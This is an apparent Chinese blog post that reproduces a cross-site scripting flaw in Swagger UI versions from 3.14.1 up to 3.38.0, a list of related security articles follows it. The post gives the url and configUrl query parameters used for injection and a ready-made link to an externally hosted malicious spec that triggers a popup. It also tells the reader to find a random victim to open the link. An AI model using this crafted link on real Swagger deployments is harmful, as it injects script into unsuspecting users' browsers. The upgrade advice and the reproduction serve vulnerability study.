swagger xss漏洞复现

swagger xss漏洞复现

文章目录

漏洞介绍

Swagger UI 有一个有趣的功能,允许您提供 API 规范的 URL - 一个 yaml 或 json 文件,将被获取并显示给用户

根本原因非常简单 - 一个过时的库DomPurify

影响版本

XSS 影响的 Swagger UI 版本:>=3.14.1 < 3.38.0

实现原理

利用允许提供json文件的原理访问公网网站进行弹窗

json网站:https://jumpy-floor.surge.sh/test.yaml

拼接方式

?url=https://your_api_spec/spec.yaml

?configUrl=https://your_api_spec/file.json

漏洞复现

随机找一位受害者访问

进行拼接?url=https://jumpy-floor.surge.sh/test.yaml

弹窗

修复建议:

升级到最新

相关推荐
leo·Thomas12 天前
PentAGI-(AI自动化渗透)Docker环境部署
人工智能·自动化·渗透·pentagi
zhengfei61112 天前
【XSS payload 】一个经典的XSS payload
前端·xss
七夜zippoe12 天前
安全测试实战:OWASP Top 10全面防护指南
python·sql·xss·安全测试·安全框架·核心漏洞
一次旅行13 天前
XSS总结
前端·xss
dreams_dream13 天前
XSS类型
前端·xss
m0_7381207215 天前
渗透测试——Momentum靶机渗透提取详细教程(XSS漏洞解密Cookie,SS获取信息,Redis服务利用)
前端·redis·安全·web安全·ssh·php·xss
DEMO派22 天前
前端常用XSS攻击演示与防御方案解析
前端·xss
少云清25 天前
【安全测试】2_客户端脚本安全测试 _XSS和CSRF
前端·xss·csrf
Yan.971 个月前
ez-rce 题目深度分析与个人解题反思
渗透
Yan.971 个月前
舒克和贝塔全维度深度技术手册
渗透